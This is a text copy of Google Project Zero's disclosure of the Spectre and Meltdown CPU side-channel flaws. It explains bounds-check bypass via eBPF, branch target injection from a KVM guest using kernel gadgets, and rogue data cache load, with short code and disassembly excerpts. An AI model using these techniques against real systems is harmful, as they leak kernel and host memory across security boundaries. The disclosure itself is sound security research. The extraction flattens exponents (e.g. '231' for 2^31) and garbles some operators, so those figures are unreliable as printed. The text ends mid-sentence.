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Reading privileged memory with a side-channel

Posted by Jann Horn, Project Zero

We have discovered that CPU data cache timing can be abused to efficiently leak information out of mis-

speculated execution, leading to (at worst) arbitrary virtual memory read vulnerabilities across local

security boundaries in various contexts.

Variants of this issue are known to affect many modern processors, including certain processors by Intel,

AMD and ARM. For a few Intel and AMD CPU models, we have exploits that work against real software.

We reported this issue to Intel, AMD and ARM on 2017-06-01 [1].

So far, there are three known variants of the issue:

Variant 1: bounds check bypass (CVE-2017-5753)

Variant 2: branch target injection (CVE-2017-5715)

Variant 3: rogue data cache load (CVE-2017-5754)

Before the issues described here were publicly disclosed, Daniel Gruss, Moritz Lipp, Yuval Yarom, Paul

Kocher, Daniel Genkin, Michael Schwarz, Mike Hamburg, Stefan Mangard, Thomas Prescher and Werner

Haas also reported them; their [writeups/blogposts/paper drafts] are at:

Spectre (variants 1 and 2)

Meltdown (variant 3)

During the course of our research, we developed the following proofs of concept (PoCs):

1. A PoC that demonstrates the basic principles behind variant 1 in userspace on the tested Intel Haswell

Xeon CPU, the AMD FX CPU, the AMD PRO CPU and an ARM Cortex A57 [2]. This PoC only tests for

the ability to read data inside mis-speculated execution within the same process, without crossing any

privilege boundaries.

2. A PoC for variant 1 that, when running with normal user privileges under a modern Linux kernel with a

distro-standard config, can perform arbitrary reads in a 4GiB range [3] in kernel virtual memory on the

Intel Haswell Xeon CPU. If the kernel's BPF JIT is enabled (non-default configuration), it also works on

the AMD PRO CPU. On the Intel Haswell Xeon CPU, kernel virtual memory can be read at a rate of

around 2000 bytes per second after around 4 seconds of startup time. [4]

3. A PoC for variant 2 that, when running with root privileges inside a KVM guest created using virt-

manager on the Intel Haswell Xeon CPU, with a specific (now outdated) version of Debian's distro

kernel [5] running on the host, can read host kernel memory at a rate of around 1500 bytes/second,

with room for optimization. Before the attack can be performed, some initialization has to be performed

that takes roughly between 10 and 30 minutes for a machine with 64GiB of RAM; the needed time

should scale roughly linearly with the amount of host RAM. (If 2MB hugepages are available to the

guest, the initialization should be much faster, but that hasn't been tested.)

4. A PoC for variant 3 that, when running with normal user privileges, can read kernel memory on the

https://spectreattack.com/spectre.pdf
https://meltdownattack.com/meltdown.pdf
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Intel Haswell Xeon CPU under some precondition. We believe that this precondition is that the

targeted kernel memory is present in the L1D cache.

For interesting resources around this topic, look down into the "Literature" section.

A warning regarding explanations about processor internals in this blogpost: This blogpost contains a lot

of speculation about hardware internals based on observed behavior, which might not necessarily

correspond to what processors are actually doing.

We have some ideas on possible mitigations and provided some of those ideas to the processor

vendors; however, we believe that the processor vendors are in a much better position than we are to

design and evaluate mitigations, and we expect them to be the source of authoritative guidance.

The PoC code and the writeups that we sent to the CPU vendors will be made available at a later date.

Tested Processors

Intel(R) Xeon(R) CPU E5-1650 v3 @ 3.50GHz (called "Intel Haswell Xeon CPU" in the rest of this

document)

AMD FX(tm)-8320 Eight-Core Processor (called "AMD FX CPU" in the rest of this document)

AMD PRO A8-9600 R7, 10 COMPUTE CORES 4C+6G (called "AMD PRO CPU" in the rest of this

document)

An ARM Cortex A57 core of a Google Nexus 5x phone [6] (called "ARM Cortex A57" in the rest of this

document)

Glossary

retire: An instruction retires when its results, e.g. register writes and memory writes, are committed and

made visible to the rest of the system. Instructions can be executed out of order, but must always retire in

order.

logical processor core: A logical processor core is what the operating system sees as a processor core.

With hyperthreading enabled, the number of logical cores is a multiple of the number of physical cores.

cached/uncached data: In this blogpost, "uncached" data is data that is only present in main memory, not

in any of the cache levels of the CPU. Loading uncached data will typically take over 100 cycles of CPU

time.

speculative execution: A processor can execute past a branch without knowing whether it will be taken or

where its target is, therefore executing instructions before it is known whether they should be executed. If

this speculation turns out to have been incorrect, the CPU can discard the resulting state without

architectural effects and continue execution on the correct execution path. Instructions do not retire

before it is known that they are on the correct execution path.

mis-speculation window: The time window during which the CPU speculatively executes the wrong code

and has not yet detected that mis-speculation has occurred.
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Variant 1: Bounds check bypass

This section explains the common theory behind all three variants and the theory behind our PoC for

variant 1 that, when running in userspace under a Debian distro kernel, can perform arbitrary reads in a

4GiB region of kernel memory in at least the following configurations:

Intel Haswell Xeon CPU, eBPF JIT is off (default state)

Intel Haswell Xeon CPU, eBPF JIT is on (non-default state)

AMD PRO CPU, eBPF JIT is on (non-default state)

The state of the eBPF JIT can be toggled using the net.core.bpf_jit_enable sysctl.

Theoretical explanation

The Intel Optimization Reference Manual says the following regarding Sandy Bridge (and later

microarchitectural revisions) in section 2.3.2.3 ("Branch Prediction"):

Branch prediction predicts the branch target and enables the

processor to begin executing instructions long before the branch

true execution path is known.

In section 2.3.5.2 ("L1 DCache"):

Loads can:

[...]

Be carried out speculatively, before preceding branches are resolved.

Take cache misses out of order and in an overlapped manner.

Intel's Software Developer's Manual [7] states in Volume 3A, section 11.7 ("Implicit Caching (Pentium 4,

Intel Xeon, and P6 family processors"):

Implicit caching occurs when a memory element is made potentially cacheable, although the element may

never have been accessed in the normal von Neumann sequence. Implicit caching occurs on the P6 and

more recent processor families due to aggressive prefetching, branch prediction, and TLB miss handling.

Implicit caching is an extension of the behavior of existing Intel386, Intel486, and Pentium processor

systems, since software running on these processor families also has not been able to deterministically

predict the behavior of instruction prefetch.

Consider the code sample below. If arr1->length is uncached, the processor can speculatively load data

from arr1->data[untrusted_offset_from_caller]. This is an out-of-bounds read. That should not matter

because the processor will effectively roll back the execution state when the branch has executed; none

of the speculatively executed instructions will retire (e.g. cause registers etc. to be affected).

struct array {

 unsigned long length;

 unsigned char data[];

};

https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf
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struct array *arr1 = ...;

unsigned long untrusted_offset_from_caller = ...;

if (untrusted_offset_from_caller < arr1->length) {

 unsigned char value = arr1->data[untrusted_offset_from_caller];

 ...

}

However, in the following code sample, there's an issue. If arr1->length, arr2->data[0x200] and arr2-

>data[0x300] are not cached, but all other accessed data is, and the branch conditions are predicted as

true, the processor can do the following speculatively before arr1->length has been loaded and the

execution is re-steered:

load value = arr1->data[untrusted_offset_from_caller]

start a load from a data-dependent offset in arr2->data, loading the corresponding cache line into the

L1 cache

struct array {

 unsigned long length;

 unsigned char data[];

};

struct array *arr1 = ...; /* small array */

struct array *arr2 = ...; /* array of size 0x400 */

/* >0x400 (OUT OF BOUNDS!) */

unsigned long untrusted_offset_from_caller = ...;

if (untrusted_offset_from_caller < arr1->length) {

 unsigned char value = arr1->data[untrusted_offset_from_caller];

 unsigned long index2 = ((value&1)*0x100)+0x200;

 if (index2 < arr2->length) {

   unsigned char value2 = arr2->data[index2];

 }

}

After the execution has been returned to the non-speculative path because the processor has noticed

that untrusted_offset_from_caller is bigger than arr1->length, the cache line containing arr2-

>data[index2] stays in the L1 cache. By measuring the time required to load arr2->data[0x200] and arr2-

>data[0x300], an attacker can then determine whether the value of index2 during speculative execution

was 0x200 or 0x300 - which discloses whether arr1->data[untrusted_offset_from_caller]&1 is 0 or 1.

To be able to actually use this behavior for an attack, an attacker needs to be able to cause the

execution of such a vulnerable code pattern in the targeted context with an out-of-bounds index. For this,

the vulnerable code pattern must either be present in existing code, or there must be an interpreter or

JIT engine that can be used to generate the vulnerable code pattern. So far, we have not actually

identified any existing, exploitable instances of the vulnerable code pattern; the PoC for leaking kernel

memory using variant 1 uses the eBPF interpreter or the eBPF JIT engine, which are built into the kernel
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and accessible to normal users.

A minor variant of this could be to instead use an out-of-bounds read to a function pointer to gain control

of execution in the mis-speculated path. We did not investigate this variant further.

Attacking the kernel

This section describes in more detail how variant 1 can be used to leak Linux kernel memory using the

eBPF bytecode interpreter and JIT engine. While there are many interesting potential targets for variant

1 attacks, we chose to attack the Linux in-kernel eBPF JIT/interpreter because it provides more control to

the attacker than most other JITs.

The Linux kernel supports eBPF since version 3.18. Unprivileged userspace code can supply bytecode

to the kernel that is verified by the kernel and then:

either interpreted by an in-kernel bytecode interpreter

or translated to native machine code that also runs in kernel context using a JIT engine (which

translates individual bytecode instructions without performing any further optimizations)

Execution of the bytecode can be triggered by attaching the eBPF bytecode to a socket as a filter and

then sending data through the other end of the socket.

Whether the JIT engine is enabled depends on a run-time configuration setting - but at least on the

tested Intel processor, the attack works independent of that setting.

Unlike classic BPF, eBPF has data types like data arrays and function pointer arrays into which eBPF

bytecode can index. Therefore, it is possible to create the code pattern described above in the kernel

using eBPF bytecode.

eBPF's data arrays are less efficient than its function pointer arrays, so the attack will use the latter

where possible.

Both machines on which this was tested have no SMAP, and the PoC relies on that (but it shouldn't be a

precondition in principle).

Additionally, at least on the Intel machine on which this was tested, bouncing modified cache lines

between cores is slow, apparently because the MESI protocol is used for cache coherence [8]. Changing

the reference counter of an eBPF array on one physical CPU core causes the cache line containing the

reference counter to be bounced over to that CPU core, making reads of the reference counter on all

other CPU cores slow until the changed reference counter has been written back to memory. Because

the length and the reference counter of an eBPF array are stored in the same cache line, this also

means that changing the reference counter on one physical CPU core causes reads of the eBPF array's

length to be slow on other physical CPU cores (intentional false sharing).

The attack uses two eBPF programs. The first one tail-calls through a page-aligned eBPF function

pointer array prog_map at a configurable index. In simplified terms, this program is used to determine the

address of prog_map by guessing the offset from prog_map to a userspace address and tail-calling

through prog_map at the guessed offsets. To cause the branch prediction to predict that the offset is

below the length of prog_map, tail calls to an in-bounds index are performed in between. To increase the
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mis-speculation window, the cache line containing the length of prog_map is bounced to another core.

To test whether an offset guess was successful, it can be tested whether the userspace address has

been loaded into the cache.

Because such straightforward brute-force guessing of the address would be slow, the following

optimization is used: 215 adjacent userspace memory mappings [9], each consisting of 24 pages, are

created at the userspace address user_mapping_area, covering a total area of 231 bytes. Each

mapping maps the same physical pages, and all mappings are present in the pagetables.

This permits the attack to be carried out in steps of 231 bytes. For each step, after causing an out-of-

bounds access through prog_map, only one cache line each from the first 24 pages of

user_mapping_area have to be tested for cached memory. Because the L3 cache is physically indexed,

any access to a virtual address mapping a physical page will cause all other virtual addresses mapping

the same physical page to become cached as well.

When this attack finds a hit—a cached memory location—the upper 33 bits of the kernel address are

known (because they can be derived from the address guess at which the hit occurred), and the low 16

bits of the address are also known (from the offset inside user_mapping_area at which the hit was

found). The remaining part of the address of user_mapping_area is the middle.

The remaining bits in the middle can be determined by bisecting the remaining address space: Map two

physical pages to adjacent ranges of virtual addresses, each virtual address range the size of half of the

remaining search space, then determine the remaining address bit-wise.

At this point, a second eBPF program can be used to actually leak data. In pseudocode, this program

looks as follows:

uint64_t bitmask = <runtime-configurable>;

uint64_t bitshift_selector = <runtime-configurable>;

uint64_t prog_array_base_offset = <runtime-configurable>;

uint64_t secret_data_offset = <runtime-configurable>;

// index will be bounds-checked by the runtime,
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// but the bounds check will be bypassed speculatively

uint64_t secret_data = bpf_map_read(array=victim_array, index=secret_data_offset);

// select a single bit, move it to a specific position, and add the base offset

uint64_t progmap_index = (((secret_data & bitmask) >> bitshift_selector) << 7) +

prog_array_base_offset;

bpf_tail_call(prog_map, progmap_index);

This program reads 8-byte-aligned 64-bit values from an eBPF data array "victim_map" at a runtime-

configurable offset and bitmasks and bit-shifts the value so that one bit is mapped to one of two values

that are 27 bytes apart (sufficient to not land in the same or adjacent cache lines when used as an array

index). Finally it adds a 64-bit offset, then uses the resulting value as an offset into prog_map for a tail

call.

This program can then be used to leak memory by repeatedly calling the eBPF program with an out-of-

bounds offset into victim_map that specifies the data to leak and an out-of-bounds offset into prog_map

that causes prog_map + offset to point to a userspace memory area. Misleading the branch prediction

and bouncing the cache lines works the same way as for the first eBPF program, except that now, the

cache line holding the length of victim_map must also be bounced to another core.

Variant 2: Branch target injection

This section describes the theory behind our PoC for variant 2 that, when running with root privileges

inside a KVM guest created using virt-manager on the Intel Haswell Xeon CPU, with a specific version of

Debian's distro kernel running on the host, can read host kernel memory at a rate of around 1500

bytes/second.

Basics

Prior research (see the Literature section at the end) has shown that it is possible for code in separate

security contexts to influence each other's branch prediction. So far, this has only been used to infer

information about where code is located (in other words, to create interference from the victim to the

attacker); however, the basic hypothesis of this attack variant is that it can also be used to redirect

execution of code in the victim context (in other words, to create interference from the attacker to the

victim; the other way around).
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The basic idea for the attack is to target victim code that contains an indirect branch whose target

address is loaded from memory and flush the cache line containing the target address out to main

memory. Then, when the CPU reaches the indirect branch, it won't know the true destination of the jump,

and it won't be able to calculate the true destination until it has finished loading the cache line back into

the CPU, which takes a few hundred cycles. Therefore, there is a time window of typically over 100 cycles

in which the CPU will speculatively execute instructions based on branch prediction.

Haswell branch prediction internals

Some of the internals of the branch prediction implemented by Intel's processors have already been

published; however, getting this attack to work properly required significant further experimentation to

determine additional details.

This section focuses on the branch prediction internals that were experimentally derived from the Intel

Haswell Xeon CPU.

Haswell seems to have multiple branch prediction mechanisms that work very differently:

A generic branch predictor that can only store one target per source address; used for all kinds of

jumps, like absolute jumps, relative jumps and so on.

A specialized indirect call predictor that can store multiple targets per source address; used for

indirect calls.

(There is also a specialized return predictor, according to Intel's optimization manual, but we haven't

analyzed that in detail yet. If this predictor could be used to reliably dump out some of the call stack

through which a VM was entered, that would be very interesting.)

Generic predictor

The generic branch predictor, as documented in prior research, only uses the lower 31 bits of the

address of the last byte of the source instruction for its prediction. If, for example, a branch target buffer

(BTB) entry exists for a jump from 0x4141.0004.1000 to 0x4141.0004.5123, the generic predictor will

also use it to predict a jump from 0x4242.0004.1000. When the higher bits of the source address differ

like this, the higher bits of the predicted destination change together with it—in this case, the predicted

destination address will be 0x4242.0004.5123—so apparently this predictor doesn't store the full,



1/4/2018 Reading privileged memory with a side-channel

https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html 9/24

absolute destination address.

Before the lower 31 bits of the source address are used to look up a BTB entry, they are folded together

using XOR. Specifically, the following bits are folded together:

bit A bit B

0x40.0000 0x2000

0x80.0000 0x4000

0x100.0000 0x8000

0x200.0000 0x1.0000

0x400.0000 0x2.0000

0x800.0000 0x4.0000

0x2000.0000 0x10.0000

0x4000.0000 0x20.0000

In other words, if a source address is XORed with both numbers in a row of this table, the branch

predictor will not be able to distinguish the resulting address from the original source address when

performing a lookup. For example, the branch predictor is able to distinguish source addresses

0x100.0000 and 0x180.0000, and it can also distinguish source addresses 0x100.0000 and 0x180.8000,

but it can't distinguish source addresses 0x100.0000 and 0x140.2000 or source addresses 0x100.0000

and 0x180.4000. In the following, this will be referred to as aliased source addresses.

When an aliased source address is used, the branch predictor will still predict the same target as for the

unaliased source address. This indicates that the branch predictor stores a truncated absolute

destination address, but that hasn't been verified.

Based on observed maximum forward and backward jump distances for different source addresses, the

low 32-bit half of the target address could be stored as an absolute 32-bit value with an additional bit that

specifies whether the jump from source to target crosses a 232 boundary; if the jump crosses such a

boundary, bit 31 of the source address determines whether the high half of the instruction pointer should

increment or decrement.

Indirect call predictor

The inputs of the BTB lookup for this mechanism seem to be:

The low 12 bits of the address of the source instruction (we are not sure whether it's the address of

the first or the last byte) or a subset of them.

The branch history buffer state.
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If the indirect call predictor can't resolve a branch, it is resolved by the generic predictor instead. Intel's

optimization manual hints at this behavior: "Indirect Calls and Jumps. These may either be predicted as

having a monotonic target or as having targets that vary in accordance with recent program behavior."

The branch history buffer (BHB) stores information about the last 29 taken branches - basically a

fingerprint of recent control flow - and is used to allow better prediction of indirect calls that can have

multiple targets.

The update function of the BHB works as follows (in pseudocode; src is the address of the last byte of

the source instruction, dst is the destination address):

void bhb_update(uint58_t *bhb_state, unsigned long src, unsigned long dst) {

 *bhb_state <<= 2;

 *bhb_state =̂ (dst & 0x3f);

 *bhb_state =̂ (src & 0xc0) >> 6;

 *bhb_state =̂ (src & 0xc00) >> (10 - 2);

 *bhb_state =̂ (src & 0xc000) >> (14 - 4);

 *bhb_state =̂ (src & 0x30) << (6 - 4);

 *bhb_state =̂ (src & 0x300) << (8 - 8);

 *bhb_state =̂ (src & 0x3000) >> (12 - 10);

 *bhb_state =̂ (src & 0x30000) >> (16 - 12);

 *bhb_state =̂ (src & 0xc0000) >> (18 - 14);

}

Some of the bits of the BHB state seem to be folded together further using XOR when used for a BTB

access, but the precise folding function hasn't been understood yet.

The BHB is interesting for two reasons. First, knowledge about its approximate behavior is required in

order to be able to accurately cause collisions in the indirect call predictor. But it also permits dumping

out the BHB state at any repeatable program state at which the attacker can execute code - for example,

when attacking a hypervisor, directly after a hypercall. The dumped BHB state can then be used to

fingerprint the hypervisor or, if the attacker has access to the hypervisor binary, to determine the low 20

bits of the hypervisor load address (in the case of KVM: the low 20 bits of the load address of kvm-

intel.ko).

Reverse-Engineering Branch Predictor Internals

This subsection describes how we reverse-engineered the internals of the Haswell branch predictor.

Some of this is written down from memory, since we didn't keep a detailed record of what we were doing.

We initially attempted to perform BTB injections into the kernel using the generic predictor, using the

knowledge from prior research that the generic predictor only looks at the lower half of the source

address and that only a partial target address is stored. This kind of worked - however, the injection

success rate was very low, below 1%. (This is the method we used in our preliminary PoCs for method 2

against modified hypervisors running on Haswell.)

We decided to write a userspace test case to be able to more easily test branch predictor behavior in
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different situations.

Based on the assumption that branch predictor state is shared between hyperthreads [10], we wrote a

program of which two instances are each pinned to one of the two logical processors running on a

specific physical core, where one instance attempts to perform branch injections while the other

measures how often branch injections are successful. Both instances were executed with ASLR disabled

and had the same code at the same addresses. The injecting process performed indirect calls to a

function that accesses a (per-process) test variable; the measuring process performed indirect calls to a

function that tests, based on timing, whether the per-process test variable is cached, and then evicts it

using CLFLUSH. Both indirect calls were performed through the same callsite. Before each indirect call,

the function pointer stored in memory was flushed out to main memory using CLFLUSH to widen the

speculation time window. Additionally, because of the reference to "recent program behavior" in Intel's

optimization manual, a bunch of conditional branches that are always taken were inserted in front of the

indirect call.

In this test, the injection success rate was above 99%, giving us a base setup for future experiments.
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We then tried to figure out the details of the prediction scheme. We assumed that the prediction scheme

uses a global branch history buffer of some kind.

To determine the duration for which branch information stays in the history buffer, a conditional branch

that is only taken in one of the two program instances was inserted in front of the series of always-taken

conditional jumps, then the number of always-taken conditional jumps (N) was varied. The result was that

for N=25, the processor was able to distinguish the branches (misprediction rate under 1%), but for

N=26, it failed to do so (misprediction rate over 99%).

Therefore, the branch history buffer had to be able to store information about at least the last 26

branches.

The code in one of the two program instances was then moved around in memory. This revealed that

only the lower 20 bits of the source and target addresses have an influence on the branch history buffer.
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Testing with different types of branches in the two program instances revealed that static jumps, taken

conditional jumps, calls and returns influence the branch history buffer the same way; non-taken

conditional jumps don't influence it; the address of the last byte of the source instruction is the one that

counts; IRETQ doesn't influence the history buffer state (which is useful for testing because it permits

creating program flow that is invisible to the history buffer).

Moving the last conditional branch before the indirect call around in memory multiple times revealed that

the branch history buffer contents can be used to distinguish many different locations of that last

conditional branch instruction. This suggests that the history buffer doesn't store a list of small history

values; instead, it seems to be a larger buffer in which history data is mixed together.

However, a history buffer needs to "forget" about past branches after a certain number of new branches

have been taken in order to be useful for branch prediction. Therefore, when new data is mixed into the

history buffer, this can not cause information in bits that are already present in the history buffer to

propagate downwards - and given that, upwards combination of information probably wouldn't be very

useful either. Given that branch prediction also must be very fast, we concluded that it is likely that the

update function of the history buffer left-shifts the old history buffer, then XORs in the new state (see

diagram).

If this assumption is correct, then the history buffer contains a lot of information about the most recent

branches, but only contains as many bits of information as are shifted per history buffer update about the

last branch about which it contains any data. Therefore, we tested whether flipping different bits in the

source and target addresses of a jump followed by 32 always-taken jumps with static source and target

allows the branch prediction to disambiguate an indirect call. [11]

With 32 static jumps in between, no bit flips seemed to have an influence, so we decreased the number

of static jumps until a difference was observable. The result with 28 always-taken jumps in between was

that bits 0x1 and 0x2 of the target and bits 0x40 and 0x80 of the source had such an influence; but

flipping both 0x1 in the target and 0x40 in the source or 0x2 in the target and 0x80 in the source did not

permit disambiguation. This shows that the per-insertion shift of the history buffer is 2 bits and shows

which data is stored in the least significant bits of the history buffer. We then repeated this with

decreased amounts of fixed jumps after the bit-flipped jump to determine which information is stored in

the remaining bits.

Reading host memory from a KVM guest

Locating the host kernel
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Our PoC locates the host kernel in several steps. The information that is determined and necessary for

the next steps of the attack consists of:

lower 20 bits of the address of kvm-intel.ko

full address of kvm.ko

full address of vmlinux

Looking back, this is unnecessarily complicated, but it nicely demonstrates the various techniques an

attacker can use. A simpler way would be to first determine the address of vmlinux, then bisect the

addresses of kvm.ko and kvm-intel.ko.

In the first step, the address of kvm-intel.ko is leaked. For this purpose, the branch history buffer state

after guest entry is dumped out. Then, for every possible value of bits 12..19 of the load address of kvm-

intel.ko, the expected lowest 16 bits of the history buffer are computed based on the load address guess

and the known offsets of the last 8 branches before guest entry, and the results are compared against

the lowest 16 bits of the leaked history buffer state.

The branch history buffer state is leaked in steps of 2 bits by measuring misprediction rates of an indirect

call with two targets. One way the indirect call is reached is from a vmcall instruction followed by a series

of N branches whose relevant source and target address bits are all zeroes. The second way the indirect

call is reached is from a series of controlled branches in userspace that can be used to write arbitrary

values into the branch history buffer.

Misprediction rates are measured as in the section "Reverse-Engineering Branch Predictor Internals",

using one call target that loads a cache line and another one that checks whether the same cache line

has been loaded.
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With N=29, mispredictions will occur at a high rate if the controlled branch history buffer value is zero

because all history buffer state from the hypercall has been erased. With N=28, mispredictions will occur

if the controlled branch history buffer value is one of 0<<(28*2), 1<<(28*2), 2<<(28*2), 3<<(28*2) - by

testing all four possibilities, it can be detected which one is right. Then, for decreasing values of N, the

four possibilities are {0|1|2|3}<<(28*2) | (history_buffer_for(N+1) >> 2). By repeating this for decreasing

values for N, the branch history buffer value for N=0 can be determined.
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At this point, the low 20 bits of kvm-intel.ko are known; the next step is to roughly locate kvm.ko.

For this, the generic branch predictor is used, using data inserted into the BTB by an indirect call from

kvm.ko to kvm-intel.ko that happens on every hypercall; this means that the source address of the

indirect call has to be leaked out of the BTB.

kvm.ko will probably be located somewhere in the range from 0xffffffffc0000000 to 0xffffffffc4000000, with

page alignment (0x1000). This means that the first four entries in the table in the section "Generic

Predictor" apply; there will be 24-1=15 aliasing addresses for the correct one. But that is also an

advantage: It cuts down the search space from 0x4000 to 0x4000/24=1024.

To find the right address for the source or one of its aliasing addresses, code that loads data through a

specific register is placed at all possible call targets (the leaked low 20 bits of kvm-intel.ko plus the in-

module offset of the call target plus a multiple of 220) and indirect calls are placed at all possible call

sources. Then, alternatingly, hypercalls are performed and indirect calls are performed through the

different possible non-aliasing call sources, with randomized history buffer state that prevents the

specialized prediction from working. After this step, there are 216 remaining possibilities for the load

address of kvm.ko.

Next, the load address of vmlinux can be determined in a similar way, using an indirect call from vmlinux

to kvm.ko. Luckily, none of the bits which are randomized in the load address of vmlinux  are folded

together, so unlike when locating kvm.ko, the result will directly be unique. vmlinux has an alignment of

2MiB and a randomization range of 1GiB, so there are still only 512 possible addresses.

Because (as far as we know) a simple hypercall won't actually cause indirect calls from vmlinux to kvm.ko,

we instead use port I/O from the status register of an emulated serial port, which is present in the default

configuration of a virtual machine created with virt-manager.

The only remaining piece of information is which one of the 16 aliasing load addresses of kvm.ko is

actually correct. Because the source address of an indirect call to kvm.ko is known, this can be solved

using bisection: Place code at the various possible targets that, depending on which instance of the code
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is speculatively executed, loads one of two cache lines, and measure which one of the cache lines gets

loaded.

Identifying cache sets

The PoC assumes that the VM does not have access to hugepages.To discover eviction sets for all L3

cache sets with a specific alignment relative to a 4KiB page boundary, the PoC first allocates 25600

pages of memory. Then, in a loop, it selects random subsets of all remaining unsorted pages such that

the expected number of sets for which an eviction set is contained in the subset is 1, reduces each

subset down to an eviction set by repeatedly accessing its cache lines and testing whether the cache

lines are always cached (in which case they're probably not part of an eviction set) and attempts to use

the new eviction set to evict all remaining unsorted cache lines to determine whether they are in the

same cache set [12].

Locating the host-virtual address of a guest page

Because this attack uses a FLUSH+RELOAD approach for leaking data, it needs to know the host-

kernel-virtual address of one guest page. Alternative approaches such as PRIME+PROBE should work

without that requirement.

The basic idea for this step of the attack is to use a branch target injection attack against the hypervisor

to load an attacker-controlled address and test whether that caused the guest-owned page to be loaded.

For this, a gadget that simply loads from the memory location specified by R8 can be used - R8-R11 still

contain guest-controlled values when the first indirect call after a guest exit is reached on this kernel

build.

We expected that an attacker would need to either know which eviction set has to be used at this point or

brute-force it simultaneously; however, experimentally, using random eviction sets works, too. Our theory

is that the observed behavior is actually the result of L1D and L2 evictions, which might be sufficient to

permit a few instructions worth of speculative execution.

The host kernel maps (nearly?) all physical memory in the physmap area, including memory assigned to

KVM guests. However, the location of the physmap is randomized (with a 1GiB alignment), in an area of

size 128PiB. Therefore, directly bruteforcing the host-virtual address of a guest page would take a long

time. It is not necessarily impossible; as a ballpark estimate, it should be possible within a day or so,

maybe less, assuming 12000 successful injections per second and 30 guest pages that are tested in

parallel; but not as impressive as doing it in a few minutes.

To optimize this, the problem can be split up: First, brute-force the physical address using a gadget that

can load from physical addresses, then brute-force the base address of the physmap region. Because

the physical address can usually be assumed to be far below 128PiB, it can be brute-forced more

efficiently, and brute-forcing the base address of the physmap region afterwards is also easier because

then address guesses with 1GiB alignment can be used.

To brute-force the physical address, the following gadget can be used:

ffffffff810a9def:       4c 89 c0                mov    rax,r8
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ffffffff810a9df2:       4d 63 f9                movsxd r15,r9d

ffffffff810a9df5:       4e 8b 04 fd c0 b3 a6    mov    r8,QWORD PTR [r15*8-0x7e594c40]

ffffffff810a9dfc:       81

ffffffff810a9dfd:       4a 8d 3c 00             lea    rdi,[rax+r8*1]

ffffffff810a9e01:       4d 8b a4 00 f8 00 00    mov    r12,QWORD PTR [r8+rax*1+0xf8]

ffffffff810a9e08:       00

This gadget permits loading an 8-byte-aligned value from the area around the kernel text section by

setting R9 appropriately, which in particular permits loading page_offset_base, the start address of the

physmap. Then, the value that was originally in R8 - the physical address guess minus 0xf8 - is added to

the result of the previous load, 0xfa is added to it, and the result is dereferenced.

Cache set selection

To select the correct L3 eviction set, the attack from the following section is essentially executed with

different eviction sets until it works.

Leaking data

At this point, it would normally be necessary to locate gadgets in the host kernel code that can be used

to actually leak data by reading from an attacker-controlled location, shifting and masking the result

appropriately and then using the result of that as offset to an attacker-controlled address for a load. But

piecing gadgets together and figuring out which ones work in a speculation context seems annoying. So

instead, we decided to use the eBPF interpreter, which is built into the host kernel - while there is no

legitimate way to invoke it from inside a VM, the presence of the code in the host kernel's text section is

sufficient to make it usable for the attack, just like with ordinary ROP gadgets.

The eBPF interpreter entry point has the following function signature:

static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)

The second parameter is a pointer to an array of statically pre-verified eBPF instructions to be executed

- which means that __bpf_prog_run() will not perform any type checks or bounds checks. The first

parameter is simply stored as part of the initial emulated register state, so its value doesn't matter.

The eBPF interpreter provides, among other things:

multiple emulated 64-bit registers

64-bit immediate writes to emulated registers

memory reads from addresses stored in emulated registers

bitwise operations (including bit shifts) and arithmetic operations

To call the interpreter entry point, a gadget that gives RSI and RIP control given R8-R11 control and

controlled data at a known memory location is necessary. The following gadget provides this

functionality:

ffffffff81514edd:       4c 89 ce                mov    rsi,r9

ffffffff81514ee0:       41 ff 90 b0 00 00 00    call   QWORD PTR [r8+0xb0]
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Now, by pointing R8 and R9 at the mapping of a guest-owned page in the physmap, it is possible to

speculatively execute arbitrary unvalidated eBPF bytecode in the host kernel. Then, relatively

straightforward bytecode can be used to leak data into the cache.

Variant 3: Rogue data cache load

Basically, read Anders Fogh's blogpost: https://cyber.wtf/2017/07/28/negative-result-reading-kernel-

memory-from-user-mode/

In summary, an attack using this variant of the issue attempts to read kernel memory from userspace

without misdirecting the control flow of kernel code. This works by using the code pattern that was used

for the previous variants, but in userspace. The underlying idea is that the permission check for

accessing an address might not be on the critical path for reading data from memory to a register, where

the permission check could have significant performance impact. Instead, the memory read could make

the result of the read available to following instructions immediately and only perform the permission

check asynchronously, setting a flag in the reorder buffer that causes an exception to be raised if the

permission check fails.

We do have a few additions to make to Anders Fogh's blogpost:

"Imagine the following instruction executed in usermode

mov rax,[somekernelmodeaddress]

It will cause an interrupt when retired, [...]"

It is also possible to already execute that instruction behind a high-latency mispredicted branch to avoid

taking a page fault. This might also widen the speculation window by increasing the delay between the

read from a kernel address and delivery of the associated exception.

"First, I call a syscall that touches this memory. Second, I use the prefetcht0 instruction to improve my

odds of having the address loaded in L1."

When we used prefetch instructions after doing a syscall, the attack stopped working for us, and we have

no clue why. Perhaps the CPU somehow stores whether access was denied on the last access and

prevents the attack from working if that is the case?

"Fortunately I did not get a slow read suggesting that Intel null’s the result when the access is not

allowed."

That (read from kernel address returns all-zeroes) seems to happen for memory that is not sufficiently

cached but for which pagetable entries are present, at least after repeated read attempts. For unmapped

memory, the kernel address read does not return a result at all.

Ideas for further research

We believe that our research provides many remaining research topics that we have not yet investigated,

and we encourage other public researchers to look into these.

This section contains an even higher amount of speculation than the rest of this blogpost - it contains

https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/
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untested ideas that might well be useless.

Leaking without data cache timing

It would be interesting to explore whether there are microarchitectural attacks other than measuring data

cache timing that can be used for exfiltrating data out of speculative execution.

Other microarchitectures

Our research was relatively Haswell-centric so far. It would be interesting to see details e.g. on how the

branch prediction of other modern processors works and how well it can be attacked.

Other JIT engines

We developed a successful variant 1 attack against the JIT engine built into the Linux kernel. It would be

interesting to see whether attacks against more advanced JIT engines with less control over the system

are also practical - in particular, JavaScript engines.

More efficient scanning for host-virtual addresses and cache

sets

In variant 2, while scanning for the host-virtual address of a guest-owned page, it might make sense to

attempt to determine its L3 cache set first. This could be done by performing L3 evictions using an

eviction pattern through the physmap, then testing whether the eviction affected the guest-owned page.

The same might work for cache sets - use an L1D+L2 eviction set to evict the function pointer in the host

kernel context, use a gadget in the kernel to evict an L3 set using physical addresses, then use that to

identify which cache sets guest lines belong to until a guest-owned eviction set has been constructed.

Dumping the complete BTB state

Given that the generic BTB seems to only be able to distinguish 231-8 or fewer source addresses, it

